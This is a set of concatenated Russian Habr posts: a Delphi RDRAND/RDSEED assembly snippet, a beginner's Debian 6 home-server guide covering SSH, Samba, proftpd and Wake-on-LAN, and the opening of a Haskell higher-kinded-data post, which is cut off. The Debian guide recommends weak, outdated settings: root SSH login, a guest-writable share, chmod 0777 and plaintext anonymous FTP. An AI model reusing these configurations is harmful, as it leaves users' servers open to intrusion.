На текущий момент я все еще не встретил иного решения, которое бы позволяло в пару кликов копипастить тысячи идентификаторов и параметров из excel и массово их отправлять на сервер. Надеюсь, кому-то пригодится :)
Если такие сторонние решения есть, а я не в курсе, и все можно было сделать проще, быстрее и изящнее – делитесь опытом в комментариях.
Примечание:
Файл-пример, который можно потыкать, пока жив сервер и "бессрочный" токен:
<https://disk.yandex.ru/d/y7EVtn8afM4QPg>
[Открытое описание API, если кому-то будет любопытно](https://dx-api.thingpark.io/core/latest/doc/index.html) | https://habr.com/ru/post/569468/ | null | ru | null |
# CPU-функции RDRAND и RDSEED стали доступнее
Всем привет!
Сам я криптографией не занимаюсь, но кому то вполне может пригодится мое небольшое исследование. Решил разобраться со встроенными в процессор функциями RDRAND и RDSEED. Компилятор Delphi сказал Undeclared identifier. Хмм. Уже давно существует BMI, BMI2, AVX, AVX2 и даже AVX-512, а дельфийцы остановились на SSE4.2. Не беда. Скомпилируем код сами.
Сначала сделал проверку на поддержку данных функций процессором. Конечно же CPUID. Использовать CPUID можно начиная с первых Pentium процессоров. Надеюсь никто не додумается запустить CPUID на 486 машине, ибо ее там еще не было. Кстати RDRAND и RDSEED до процессоров IvyBridge также не существует.
```
function CPU_support_RDRAND: Boolean;
asm
mov rax, $01
cpuid
test ecx, 40000000h //тестируем 30-й бит
setne al
end;
function CPU_support_RDSEED: Boolean;
asm
mov rcx, 0
mov rax, $07 //страница №7
cpuid
test ebx, 40000h //тестируем 18-й бит
setne al
end;
```
Оказалось, что мой Core i7 G6950X Extreme поддерживает данные функции. Поэтому дальше решил скомпилировать байт-код вручную. Для опытных приведу код REX и REX.W префиксов. Возможно вы захотите записать результат в другой регистр:
```
const
REX_RDRAND32: Byte = $F0; //(11b:REG, 110b:OPCODE, 000b:EAX)
REX_RDSEED32: Byte = $F8; //(11b:REG, 111b:OPCODE, 000b:EAX)
REX_W_RDRAND64: Byte = $48; //(11b:REG, 110b:OPCODE, 000b:RAX)
REX_W_RDSEED64: Byte = $48; //(11b:REG, 111b:OPCODE, 000b:RAX)
```
Функции могут работать как в 32-х битном режиме, так и в 64-х битном. Поэтому сделал обе и даже в двух вариантах. В итоге получилось 4 функции:
```
function RDRand32: DWord;
asm
@Retry:
db $0F, $C7, $F0 //RDRAND EAX (CF = 1 говорит о корректности данных)
jnc @Retry
end;
function RDSeed32: DWord;
asm
@Retry:
db $0F, $C7, $F8 //RDSEED EAX (CF = 1 говорит о корректности данных)
jnc @Retry
end;
function RDRand64: QWord;
asm
.NOFRAME
@Retry:
db $48, $0F, $C7, $F0 //RDRAND RAX (CF = 1 говорит о корректности данных)
jnc @Retry
end;
function RDSeed64: QWord;
asm
.NOFRAME
@Retry:
db $48, $0F, $C7, $F8 //RDSEED RAX (CF = 1 говорит о корректности данных)
jnc @Retry
end;
```
По скорости они медленней, чем библиотечная функция Random. RDRand примерно на 35%, а RDSeed процентов на 50% и даже более, но качество уникальности генерируемых значений значительно выше. На данном ресурсе есть неплохие статьи на эту тему, ну а моя миссия (сделать функции доступными в Delphi) завершена. В Lazarus не тестировал, но скорее всего будет работать без каких либо изменений. В конец объявления функции нужно лишь добавить резервное слово assembler.
[Здесь](https://yadi.sk/d/3AcgpVNg1MOSFg) исходные тексты тестового консольного приложения. Там можно найти прототип функций Random32 и Random64 на основе встроенных в процессор. Возможно это то, что вы искали. Всем пока! | https://habr.com/ru/post/441392/ | null | ru | null |
# Debian Server для новичка
Как-то обеспокоился наличием собственного FTP-сервака. Тем более под это дело «на помойку» был отдан комп этак десятилетней давности. Так как я человек хоть и виндовый, но начинал с чистого ДОСа (про книжки тов. Фигурнова кто помнит?), то я решил сделать все на линуксе. В линуксе я был ноль полный. Еще и усложнил задачу — только консоль, никаких исков (как же — это ж линукс). Дистрибутивом был выбран Debian. Так получилось, что надобность в 2Тб личном хранилице отпала через год и комп был отдан в хорошие руки, а хард пристроен в нужное место. Но был накоплен неплохой опыт стопроцентного новичка. Какие только глупые ошибки я не совершал поначалу! И хабр читал, между прочим, пока разбирался с проблемами. Поэтому эту свою дебютную (первую) статью на хабре я посвящаю тем, кто хочет заняться линуксом с нуля и эта статья призвана для плавного ввода «в тему», являясь, по сути, фильтрацией и систематизацией всего того, что я нашел на просторах интернета. Ранее я этот материал уже публиковал, но, думаю, на хабре он тоже будет полезен.
Что и как хотим получить в результате:
— консольная установка ОС с флешки;
— навыки консольного управление;
— создание собственного репозитория;
— обеспечение удаленного доступа по протоколу FTP/SFTP;
— обеспечение удаленного управления по протоколу SSH;
— дистанционное включение сервера, находящегося за маршрутизатором;
— создание условий работы веб-сервера (в идеале связка nginx+apache).
В инете куча всяких пошаговых инструкций. Порой там бывают досадные ошибки, а если еще линуксоид и сопливый еще покамест, то можно пару часов потратить только на то, что бы понять, что не нужна лишняя палочка или точечка — в линуксе важно все! Нижеизложенное делается для практических целей поставленных задач — не надо воспринимать все как серьезную инструкцию для создания серьезного сервера. Тем более в процессе «восстановления опыта» могут и ошибки тоже быть и у меня…
#### — Раз
Итак, имеется пустой комп с подключенной периферией. Для начала нужно установить саму ОС. Имеется так же образы всех дисков Debian 6.0.0 stable. От лазерных носителей я давно отказался, т.е. для установки нужно изготовить загрузочную флешку. Флешка нашлась на 2Gb. После поисков оказалось, что изготовить можно, но из самой линуксовой среды. Пришлось установить с образа первого диска дебиан на виртуальную машину (подключаем образ к виртуалке в качестве виртуального CD-ROM и установка выполняется «честно» как бы с лазерного диска). Устанавливал «оптом» — т.е. и GUI тоже (в 6 версии был только GNOME). Тем не менее, после того, как все сделалось, грузим деабиан, подключаем флешку к виртуалке и открываем консоль.
Выполняем команду:
**# dmesg**
Видим что-то типа этого:
```
[373982.581725] sd 8:0:0:0: [sdc] 4001760 512-byte hardware sectors (2049 MB)
[373982.582718] sd 8:0:0:0: [sdc] Write Protect is off
[373982.582718] sd 8:0:0:0: [sdc] Mode Sense: 03 00 00 00
[373982.582718] sd 8:0:0:0: [sdc] Assuming drive cache: write through
[373982.584152] sd 8:0:0:0: [sdc] 4001760 512-byte hardware sectors (2049 MB)
[373982.585718] sd 8:0:0:0: [sdc] Write Protect is off
[373982.585718] sd 8:0:0:0: [sdc] Mode Sense: 03 00 00 00
[373982.585718] sd 8:0:0:0: [sdc] Assuming drive cache: write through
[373982.585718] sdc:
[373982.589280] sd 8:0:0:0: [sdc] Attached SCSI disk
```
Это значит, что флешка определилась в системе.
Скачиваем файл boot.img.gz (debian.org) для нужной архитектуры (в моем случае i386) и копируем его в какую-нибудь директори. Далее выполняем команду из этой директории:
**# zcat boot.img.gz > /dev/sdc**
Теперь надо вытащить и воткнуть обратно USB флешку, чтобы новая структура/таблица разделов распозналась. Это обновит таблицу разделов, хранимую udev. Для проверки выполняем следующие команды:
**# mkdir /mnt
# mount /dev/sdс /mnt/
# ls /mnt**
и видим инсталляционные файлы, такие как syslinux.cfg, setup.exe, и так далее. Значит все нормально — флешку примонтировали.
Далее скачиваем ISO образ netinstall (debian.org) размером 150-180MB для соответствующей архитектуры (в моем случае i386). Netinstall устанвливает базовую систему, сеть не нужна. Копируем этот образ в какую-нибудь директорию и из этой директории выполняем и отмонтируем флешку:
**# cp debian-6.0.1a-i386-netinst /mnt
# umount /dev/sdс**
Уф. Теперь при себе есть всегда флешка для установки.
Если же необходимо включить такой инсталлятор на флешку с другими ОСами, то можно обратиться к загрузчику grub. У меня уже имеется загрузочная флешка с grub4dos. Создаем папку debian в корне флешки и кидаем туда: debian-6.0.1a-i386-netinst.iso, initrd.gz, initrdg.gz, linux — последние 3 файла можно выдернуть с первого установочного диска Debian 6.0.0 stable или скачать (debian.org). А в меню grub'a (menu.lst) нужно добавить следующее:
`title Debian 6.0.1a - Netinstall (Basic System, VGA Install)
kernel /debian/linux video=vesa:ywrap,mtrr vga=788 -- quiet
initrd /debian/initrdg.gz
title Debian 6.0.1a - Netinstall (Basic System, TXT Install)
kernel /debian/linux -- quiet
initrd /debian/initrd.gz`
Теперь втыкаем флешку в наш импровизированный сервак, через BIOS выбираем загрузку с флешки и штатно устанавливаем Debian. При установке ничего особого я не обнаружил: выбираем установку с графическим интерфейсом и далее диалоговый режим. Разметить файловую систему можно автоматом — на первый раз сойдет. После установки и перезагрузки, а так же входа в систему мы будем радостно лицезреть черный экран с приглашением командной строки — базовая установка выполнена!
#### — Два
Далее необходимо настоить доступ и управление по протоколу SSH. Так же, что бы особо не париться с консолью нужно бы установить mc (Midnight Commander) — аналог nc (Norton Commander) в DOS или tc (TotalCommander) в Windows. Но для установки нужно скопировать из сети пакет и установить его. Сети же нет. В то же время практически весь хоть сколько-то нужный софт есть на дисках Debian 6.0.0 stable (дисков, кажется, 6). Но я отказался от работы с дисками. Можно настроить сеть и воспользоваться официальным сетевым репозиторием — способ проще некуда. Однако это решение не для нас — нужна широкая автономность на первом этапе. Да и с каких пор мы идем по легкому пути — знакомство носит все же больше исследовательский характер. Значит нужно сделать свой локальный репозиторий.
1) подготовка…
Придется опять еще раз вернуться в виртульную машину. Входим в консоль под root'ом (на сервере мы в будущем настроим sudo, что бы по каждой ерунде не светить root'а). Создаем директории:
**# mkdir debian/pool
# mkdir debian/pool/contrib
# mkdir debian/pool/main**
В эти директории копируем содержимое одноименных директорий со всех дисков. Получится одна папочка объемом этак с 30Гб. После того, как содержимое всех дисков скопировано, создаём директории для хранения информации об находящихся в репозитарии пакетах:
**# cd /debian
# mkdir -p debian/dists/stable/contrib/binary-i386
# mkdir -p debian/dists/stable/main/binary-i386**
Далее все команды выполняются исходя из текущего каталога debian — за его пределы никуда не выходим! Собираем списки пакетов:
**# apt-ftparchive packages pool/main/ > dists/stable/main/binary-i386/Packages
# apt-ftparchive packages pool/contrib/ > dists/stable/contrib/binary-i386/Packages**
Сжимаем списки:
**# gzip -c dists/stable/contrib/binary-i386/Packages > dists/stable/contrib/binary-i386/Packages.gz
# gzip -c dists/stable/main/binary-i386/Packages > dists/stable/main/binary-i386/Packages.gz**
Создаём файлы Release:
**# apt-ftparchive release pool/contrib/ > dists/stable/contrib/binary-i386/Release
# apt-ftparchive release pool/main/ > dists/stable/main/binary-i386/Release
# cd /debian/pool/dists/stable
# apt-ftparchive release. > Release**
Теперь папку /debian можно скопировать на жесткий диск и при желании подключать и организовывать локальные репозитории в других системах. Что и делаем — копируем папку на съемных USB-хард.
2) подключение… заходим на сервер под root'ом
Подключаем USB-хард к серверу. Далее соображаем как определился хард:
**# dmesg**
Монтируем его и сливаем все что натворили раньше:
**# mount /dev/sda1 /mnt/
# mkdir /dpool
# cp -r /mnt/\* /dpool**
Правим файл /etc/apt/sources.list — комментим все репозитории и прописываем наш:
*deb file:/debian/ stable contrib main*
Тут надо сделать краткое отступление. Как поправить файл, если одна консоль? Для этого есть редактор vi:
**# cd /etc/apt
# sudo vi sources.list**
Далее делаем что нужно: передвигаем курсор в нужную позицию и жмем «i». Это режим ввода. Делаем что нужно. Сделали и жмем ESC для возврата в командный режим. Далее — все по новой. После того как все завершено жмем последовательность «ESC: w! Enter» — это команда возврата с сохранением изменений. Страшно? После установки mc жизнь упростится…
Делаем апдейт:
**# apt-get update
# apt-cache gencaches**
Готово наше локальное хранилище!
#### — Три
Теперь наконец-то добрались до SSH вплотную почти.
1) не всю же жизнь под root'ом работать…
Но сначала немного облегчим себе жизнь — настроим sudo. Sudo — система позволяющая делегировать те или иные привилегированные ресурсы пользователям с ведением протокола работы. Проще говоря user сможет выполнять действия, которые изначально предполагалось выполнять только от root'а.
Заходим на сервер под root'ом и открываем файл /etc/sudoers. Используем опять же редактор vi:
**# cd /etc
# vi sudoers**
Ищем строку:
*root ALL=(ALL) ALL*
И под ней дописываем:
*user ALL=(ALL) ALL*
Выходим с сохранением. Готово! Теперь можно заходить под user'ом, но при выполнении критических команд просто перед командой добавлять «sudo». В первый раз система запросит текущий пароль для идентификации. Выходим из системы и заходим под user'ом. Пароль от root'а можно отныне записать на бумажке — пользоваться будем сильно редко, можно и забыть)
2) замучила консоль и vi…
Ставим пакет:
**# sudo apt-get install mc**
После установки введя команду
**# mc**
Теперь можно радоваться и забыть про команды mkdir, cp, ls, cd, а так же консольное управление в vi. Править файлы теперь можно по F4. Ностальгия по 2000ым — тогда я на 386ом только нортом и пользовался…
3) наконец-то SSH…
Ставим пакет:
**# sudo apt-get install ssh**
После успешной установки нужно добавить в конец файла /etc/ssh/sshd\_config строку для ограничения доступа:
*AllowUsers root, user*
Выполняем:
**# sudo mc**
Далее идем по указанному пути и правим файл. После правки проблем с сохранением не будет — mc запущен под root'ом же. После правки нужно обновить сервис ssh — выходим в консоль и выполняем рестарт сервиса:
**# sudo /etc/init.d/ssh restart**
#### — Четыре
1) сеть…
Для последнего штриха перед переходом на удаленное управление нужно только настроить сеть. У меня ситуация простая: комп подключен к маршрутизатору проводом. Так как на маршрутизаторе включен DHCP, то интернет получим от него автоматом.
Настройки сетевых интерфейсов хранятся в файле: /etc/network/interfaces
Вот пример рабочего содержимого файла:
```
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 10.0.0.10
netmask 255.0.0.0
network 10.0.0.0
broadcast 10.255.255.255
gateway 10.0.0.1
# dns-* options are implemented by the resolvconf package, if installed
dns-nameservers 10.0.0.1
dns-search debian
```
Запускаем mc через sudo и правим этот файл в соответствии с теми сетевыми настройками, которые справедливы для вашей сети.
Настройка имени сервера и хостов находятся: /etc/hostname, /etc/hosts
Если наш сервер называется «debian», то проверяем:
В hostname значится только:
*debian*
А в host первые строчки:
*127.0.0.1 localhost debian
10.0.0.10 debian.localhost debian*
После всего этого гасим компьютер:
**# sudo poweroff**
2) удаленное управление…
Отключаем все кабели, тянем наш сервер в самый дальний угол и подключаем его в розетку и к сети. При этом надо заранее позаботится что бы на этапе загрузки BIOS не ждал нажатия кнопки с названием «any» после того как он с удивлением обнаружит, что клавиатура и мышь не обнаруживаются. Нажимаем кнопку питания и возвращаемся к рабочему компьютеру. На этом компе у меня винда. Как же теперь подключиться к серверу?
Есть такая программа putty. Добыть ее можно в интернете. После ее запуска во вкладке «Session» прописываем IP адрес нашего сервера, в качестве порта оставляем значение 22 (это стандартный порт для Shell). Проверяем, что во вкладке «Translation» выставлено UTF-8, что бы неогрести крякозяблев при отображении кириллицы. Возвращаемся в «Session» и открываем канал: «Open». После соединения нас попросят подтвердить создание ключей соединения с нами — подтверждаем. Вводит логин: user. Далее вводим пароль — пароль при вводе не отображается, т.е. это нормально. После соединения видим приглашение сервера и родную консоль, только не на всем мониторе, а в маленьком окошке, которое можно и подрястянуть мышкой. Это значит «Ура, товарищи!».
#### — Пять
В принципе, для доступа к файловой системе можно использовать WinSCP. Это даст возможность копировать файлы между машинами. Но это будет не очень правильно, т.к. после авторизации SSH будет открыт доступ ко всей системе. В идеале хотелось бы просто сделать одну сетевую папку на сервере и открыть доступ к ней. И решение для этого есть.
Ставим пакет:
**# sudo apt-get install samba**
Теперь редактируем файл /etc/samba/smb.conf. Вот пример рабочего содержимого:
```
[global]
workgroup = WORKGROUP
server string = %h server
dns proxy = no
log file = /var/log/samba/log.%m
max log size = 1000
syslog = 0
panic action = /usr/share/samba/panic-action %d
security = share
encrypt passwords = true
passdb backend = tdbsam
obey pam restrictions = yes
unix password sync = yes
passwd program = /usr/bin/passwd %u
passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
pam password change = yes
[homes]
comment = Home Directories
browseable = no
read only = yes
create mask = 0700
directory mask = 0700
valid users = %S
[printers]
comment = All Printers
browseable = no
path = /var/spool/samba
printable = yes
guest ok = no
read only = yes
create mask = 0700
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
browseable = yes
read only = yes
guest ok = no
[user]
path = /ftp/pub
readonly = no
guest ok = yes
```
В качестве комментария можно заметить следующее:
— необходимо указать рабочую группу, в которой работают виндовые машины;
— параметр security должен быть установлен в share;
— в секции «user» нужно указать реальный путь и разрешить гостевой доступ — собственно именно эту секцию мы в файл и добавляем.
После всего этого дела создаем указанные каталоги:
**# mkdir /ftp
# mkdir /ftp/pub**
И разбираемся с правами на эти папки:
**# sudo chmod 0755 /ftp
# sudo chmod 0777 /ftp/pub
# sudo chown -R root /ftp**
В таком случае доступ будет осуществлен к папке ftp, но в ней изменить ничего нельзя будет. А вот в папке pub — делаем что угодно. Естественно, можно все упростить выкинув папочку pub и поправив права для ftp…
Ну и напоследок перезагружаем сервис, что бы все настройки заработали:
**# sudo /etc/init.d/samba restart**
#### — Шесть
Теперь пора выпустить нашего малыша в сеть )))
Для начала неплохо было бы сделать сетевой файловый доступ и управление из любой точки сети. Но что мы имеем по топологии?
У нас должен быть выход в интернет с статичным реальный IP-адресом. Т.е. доступ из вне должен осуществляться напрямую, а не через коммутацию сетей провайдера. Например, пользователи сети Рамнет все сидят за большим NAT'ом, т.к. выходят в сеть через несколько пулов. Это значит, что IP выданный при регистрации вовсе и не совпадает с тем IP, который «отпечатывается», например, при посещении сайтов. Реальный IP — это однозначно тот IP, который прописан в сетевых настройках драйвера сетевой платы. Узнать реальный IP или нет можно воспользовавшись каким-нибудь сетевым сервисом в интернете, который показывает ваш IP-адрес. Допустим у нас имеется реальный IP.
Далее, если сетевой провод напрямую заведен на сервер, то проблем особых уже и нет — сервер уже в сети. А если стоит какое-то маршрутизирующее устройство (маршрутизатор, или промежуточный разветвитель-коммутатор на базе того же линукса)? В таком случае мы оказываемся уже за своим NAT'ом, который нужно немного настроить: осуществить проброс портов. Для каждой сетевой службы на машине имеется свой порт: SSH — 22, FTP — 21. Т.е., маршрутизатор нужно настроить так, что бы при обращении к порту по нашему реальному IP осуществлялось обращение именно к серверу по этому порту. Если наш сервер имеет адрес 10.0.0.10, а провайдером выдан реальный IP 172.122.34.89, то в маршрутизаторе необходимо выполнить проброс портов (Port Forwarding) 21 и 22 из вне (172.122.34.89) на сервер (10.0.0.10). Просто настраивается пара строчек в админке маршрутизатора или правится таблица маршуртизации промежуточного линукса-коммутатора. Допустим это тоже все сделали.
В таком случае для досутпа по SSH через putty необходимо просто будет указать реальный IP-адрес, порт 22 (см. выше, где описана небольшая настройка клиента putty). Осуществляем вход и получаем доступ к консоли сервера.
А файловый доступ? Тут чуть сложнее. Можно использовать WinSCP, но как уже упоминалось, это не наш метод. Samba работает только в локалке. Придется настроить FTP доступ…
Для FTP используем сервис proftpd. Ставим пакет:
**# sudo apt-get install proftpd**
Файл конфигурации находится здесь: /etc/proftpd/proftpd.conf. Вот пример рабочего файла:
```
Include /etc/proftpd/modules.conf
ServerName "Debian"
ServerType standalone
DeferWelcome off
MultilineRFC2228 on
DefaultServer on
ShowSymlinks on
TimeoutNoTransfer 600
TimeoutStalled 600
TimeoutIdle 1200
DisplayLogin welcome.msg
DisplayChdir .message true
ListOptions "-l"
DenyFilter \*.*/
DefaultRoot ~
RequireValidShell off
Port 21
# DynMasqRefresh 28800
MaxInstances 10
User nobody
Group nogroup
Umask 022 022
AllowOverwrite on
TransferLog /var/log/proftpd/xferlog
SystemLog /var/log/proftpd/proftpd.log
QuotaEngine off
Ratios off
DelayEngine on
ControlsEngine off
ControlsMaxClients 2
ControlsLog /var/log/proftpd/controls.log
ControlsInterval 5
ControlsSocket /var/run/proftpd/proftpd.sock
AdminControlsEngine off
User user1
Group nogroup
UserAlias anonymous user1
#RequireValidShell off
MaxClients 10
TransferRate RETR,STOR 4096
AllowAll
AllowAll
AllowAll
User user2
Group nogroup
#UserAlias anonymous user2
#RequireValidShell off
MaxClients 3
#TransferRate RETR,STOR 4096
AllowAll
AllowAll
AllowAll
Комментарии:
- сервер FTP запускаем отдельным процессом "standalone", хотя для слабых компов это и не будет оптимальным;
- секции "Anonymous" прописываем сами: для user1 будет открыт анонимный доступ с ограничением скорости в 4МБ/с и ограничением количества запускаемых серверов 10, для user2 ограничения скорости нет, а ограничение запускаемых таких серверов установлено в 3.
Перезапускаем ftp-сервер:
**# sudo /etc/init.d/proftpd restart**
В таком случае мы сможем подключиться к нашему серверу используя любой FTP-клиент из любой точки сети. Учитываем, что порт 21 мы уже пробросили через маршрутизатор ранее. При этом можно использовать анонимный доступ или введя логин/пароль для авторизации снять лимит скорости скачивания/отправки. Но для авторизации нужно иметь зарегистрированные учетные записи на сервере. Создадим пользователей без создания для них домашних каталогов:
**# sudo useradd user1
# sudo useradd user2**
И зададим им пароли:
**# sudo passwd user1
# sudo passwd user2**
Ну вот теперь появилось уже что-то более-менее полезное)))
В идеале хотелось бы настроить защищенный SFTP доступ. Для proftpd существует модуль mod_sftp. Я очень долго (3 вечера) курил мануалы по этой теме и кое как сумел настроить. Но сервер нещадно резал скорость на уровне 10мегабит как при доступе внутри сети, так и снаружи. Ничего с этим не поделав пришлось отказаться пока от этого решения.
Так же SFTP можно настроить через SSH - в нем уже имеется такая возможность. Однако при такой организации у меня никак не получалось нормально запереть пользователя в нужной директории, т.к. иначе ему, после авторизации, открывался доступ сразу ко всей системе.
SFTP идея гораздо полезнее (при FTP пароли вообще в открытом виде передаются, если это не анонимный доступ), но пока ее пришлось забросить.
Может быть будет кому-то интересно подключение mod_sftp. Я реализовывал так, что бы ключи авторизации цеплялись с SSH:
SFTPEngine on
SFTPLog /var/log/proftpd/sftp.log
TransferLog /var/log/proftpd/xferlog-sftp.log
Port 2220
SFTPHostKey /etc/ssh/ssh\_host\_rsa\_key
SFTPHostKey /etc/ssh/ssh\_host\_dsa\_key
SFTPAuthorizedUserKeys file:~/.sftp/authorized\_keys
SFTPCompression delayed
MaxLoginAttempts 6
```
Это дело вставляется в proftpd.conf и доступ осуществляется через порт 2220. Но при этом mod\_sftp должен быть установлен вместе с proftpd. В штатном репозитории proftpd собран без mod\_sftp. Его придется «дособирать» самостоятельно. «Впатчивал» я по какой-то английской инструкции — уже не помню. Процесс это не менее творческий, чем сборка своего репозитория, а результат все равно не порадовал, поэтому это все описывать не буду.
#### — Семь
Итак, мы настроили FTP. Теперь хотелось бы уметь включать сервер когда надо. Например, нужно что-то взять из сетевой папки.
Тут есть одна тонкость. К нашему серверу подключено только электропитание и сеть. Но сетевые карты давно научились «будить» компьютер: достаточно только включить такую поддержку в BIOS компьютера и послать не него «магический» пакет (Magic packet). Читаем в wikipedia:
Magic packet — это специальная последовательность байтов, которую для нормального прохождения по локальным сетям можно вставить в пакеты UDP или IPX. Обычно для WOL пакеты протоколов верхнего уровня рассылают широковещательно, так как в случае динамического присвоения адресов неизвестно, какой, скажем, IP-адрес соответствует какому MAC-адресу. Однако, для корректного прохождения через маршрутизатор, запрещающий широковещательные пакеты, можно послать пакет по какому-то определённому адресу.
Состав magic packet
Вначале идет так называемая «цепочка синхронизации»: 6 байт, равных 0xFF. Затем — MAC-адрес сетевой платы, повторённый 16 раз. То есть, если бы адрес платы выглядел как 01:02:03:04:05:06, то магический пакет оказался бы таким:
```
FFFFFFFFFFFF010203040506010203040506010203040506010203040506
010203040506010203040506010203040506010203040506010203040506
010203040506010203040506010203040506010203040506010203040506
010203040506010203040506
```
Есть куча программ, половина из которых работает, а другая нет, которые формируют и отсылают такие пакеты по указанному IP. Но это справедливо только в локальной сети. Но ведь у нас реальный IP — значит можно попробовать просто отослать пакет на него, а маршрутизатор настроить на ретрансляцию этого пакета серверу. Пакеты на «побудку» рассылаются обычно по портам 7 или 9. Прокидываем их через маршрутизатор на IP сервера. Далее проще всего воспользоваться сетевым ресурсом wakeonlan.ru: забиваем свой реальный адрес IP и MAC адрес сетевой платы сервера. Жмем кнопочку «Включить компьютер!». После пары отправок система вполне может и написать о неудаче включения — сервер-то все же за NAT'ом, а отклик на пингование маршрутизатора разумнее выключить в настройках маршрутизатора. Такой способ включения удобен, правда придется выучить наизусть IP и MAC. Но у нас же память хорошая — мы же задаем и помним правильные пароли составом не менее 32 символов?) Зато теперь сервер можно включить с сотового телефона (при наличии в нем браузера и GPRS доступа).
Интересная так же штука вышла с маршрутизатором. Дело в том, что, пока сервер включен, маршрутизатор точно знает к какому порту этот сервер подключен. Но как только сервер выключается, маршрутизатор, через некоторое время, начисто забывает этот факт. У меня не получилось заставить маршрутизатор делать широковещательную рассылку «магического» пакета по всем портам. Пришлось на разбирательство потратить приличное время. В результате на маршрутизатор установил прошивку DD-WRT. Прошивка по сравнению с штатными просто блещет функционалом. Он явно избыточен) Однако и она забывала порт, хотя широковещательно пакеты рассылать уже могла (только комп почему-то не включался). Если был бы вместо маршрутизатора коммутатор-комп на линукс, то можно было бы просто подредактировать таблицу маршрутизации и делов-то… Аналогично и тут — нужно внести изменения в таблицу ARP маршрутизатора. В данной прошивке есть некая консоль и можно при загрузке маршрутизатора добавить скрипт запуска. Что и делаем, скрип таков:
`ip neigh change 10.0.0.10 lladdr 00:10:20:1F:C4:57 nud permanent dev br0
ip neigh add 10.0.0.10 lladdr 00:10:20:1F:C4:57 nud permanent dev br0`
Подразумевается, что на физическом аппаратном уровне порты маршрутизатора и платы друг друга «узнают» по своим MAC-адресам (они же с собой постоянно общаются при наличии питания) и маршрутизатор «догадается» что вышеуказанный IPшник будет принадлежать именно этому адресату (пока комп не включен это знание маршрутизатору недосутпно ибо еще нет никакого интерфейса сетевого уровня — однако эта знание мы и заложили при загрузке в ARP) после включения.
Ну вот — на этом и закончивается мое первое знакомство с линуксом. Если кому-то это помогло — всегда пожалуйста. | https://habr.com/ru/post/126944/ | null | ru | null |
# Higher-Kinded Data, или ещё один способ работать с сущностями базы данных (и не только)
Важный дисклеймер
-----------------
Перед началом хочу позволить себе небольшой, но важный дисклеймер.
*Я не стараюсь вам продать этот cпособ как панацею*.
Я лишь хочу рассказать вам ещё один способ представлять данные и показать, как его можно использовать, на конкретном примере.
Как и все остальные подходы, этот имеет свои недостатки. И кое-где придётся приседать. С этими приседаниями мы встретимся довольно скоро.
> `«Не думайте, что я сейчас буду развивать эту концепцию, а затем разочаруюсь в ней. Такой драматургии не будет. Я изначально уже в ней разочарован.»`
>
> *Роман Михайлов*
Ещё хочется заметить, что далее все примеры кода будут приводиться на `Haskell`. Но в конце я покажу, как можно некоторые из них повторить на `Scala`.
Что такое HKD
-------------
Конечно, прежде, чем писать этот раздел, я полез в интернет, чтобы посмотреть, как этот термин определяют другие люди. Чёткого определения я не нашёл.
Грубо говоря, HKD — это то, что предоставляет возможность держать в одном типе данных сразу несколько представлений. Давайте посмотрим на примеры.
Простейшие HKD
--------------
Обычно данные в Haskell определяются так:
```
data User = User
{ login :: String
, email :: String }
-- >>> :t User
-- User :: String -> String -> User
```
Но что, если мы хотим добавить какой-то эффект нашим полям? Тогда можно попробовать обернуть поля в конструктор типа. Мы можем параметризовать `User` конструктором типа `Maybe`. Представить, для чего бы это могло быть полезно, несложно. Например, структура-патч. Мы можем воспользоваться ей, чтобы обновить только некоторые поля структуры.
```
data User m = User
{ login :: m String
, email :: m String }
-- >>> :t User
-- User :: forall {m :: * -> *}. m String -> m String -> User m
-- >>> :t User @Maybe
-- User @Maybe :: Maybe String -> Maybe String -> User Maybe
-- >>> :t User @Identity
-- User @Identity :: Identity String -> Identity String -> User Identity
```
И вот мы получили полноценный `HKD`. Но мы можем начать его улучшать! Например, если понадобится избавиться от каких-либо эффектов, мы вынуждены будем использовать `Identity`, который не является прозрачным, что заставляет нас распаковывать и запаковывать значения. Естественно, во время исполнения этой обёртки не будет, но это делает код более многословным.
Кстати, тот знак собачки/улитки в листинге — специальный синтаксис для [`Type Applications`](https://gitlab.haskell.org/ghc/ghc/-/wikis/type-application).
### Ускоренный курс по TypeApplications
```
> :set -XTypeApplications
> :set -fprint-explicit-foralls
> :t fmap
fmap
:: forall {f :: * -> *} {a} {b}.
Functor f =>
(a -> b) -> f a -> f b
> :t fmap @Maybe
fmap @Maybe :: forall {a} {b}. (a -> b) -> Maybe a -> Maybe b
> :t fmap @Maybe @Int
fmap @Maybe @Int :: forall {b}. (Int -> b) -> Maybe Int -> Maybe b
> :t fmap @_ @Int
fmap @_ @Int
:: forall {_ :: * -> *} {b}.
Functor _ =>
(Int -> b) -> _ Int -> _ b
```
Усложняем: TypeFamily. Прячем Identity
--------------------------------------
Избавиться от недоразумения с Identity нам помогут [`Type Families`](https://wiki.haskell.org/GHC/Type_families).
```
type family WithEffect m a where
WithEffect Identity a = a
WithEffect m a = m a
data User m = User
{ login :: WithEffect m String
, email :: WithEffect m String }
-- >>> :t User @Identity
-- User @Identity :: String -> String -> User Identity
-- >>> :t User @Maybe
---User @Maybe :: Maybe String -> Maybe String -> User Maybe
type UserCreate = User Identity
type UserUpdate = User Maybe
```
Теперь перегрузка `User` стала для нас бесплатной.
Усложняем: кастомные эффекты. Конкретизируем смысл
--------------------------------------------------
`Maybe`, `Either`, `[]` — это всё очень хорошо. Но нужна более конкретная, привязанная к доменной области, семантика. Давайте создадим свои эффекты.
```
data Create
data Update
type family OnAction action a where
OnAction Create a = a
OnAction Update a = Maybe a
data User a = User
{ login :: OnAction a String
, email :: OnAction a String }
-- >>> :t User @Create
-- User @Create :: String -> String -> User Create
-- >>> :t User @Update
-- User @Update :: Maybe String -> Maybe String -> User Update
```
Мы дали нашим эффектам конкретные имена, и, кажется, сделали `User` чем-то более содержательным, чем просто набор полей. Научили его подстараиваться под наши нужды. А ещё мы можем наделить его характером.
Усложняем: больше TypeFamilies. Список модификаторов
----------------------------------------------------
С помощью следующей итерации мы сможем добавлять конкретные свойства конкретным рекордам. Вот так:
```
data User a = User
{ login :: Field a '[Immutable] String -- Обратите внимание на список,
, email :: Field a '[] String -- можно иметь больше одного модификатора на одно поле
, about :: Field a '[NotForSearch] String }
```
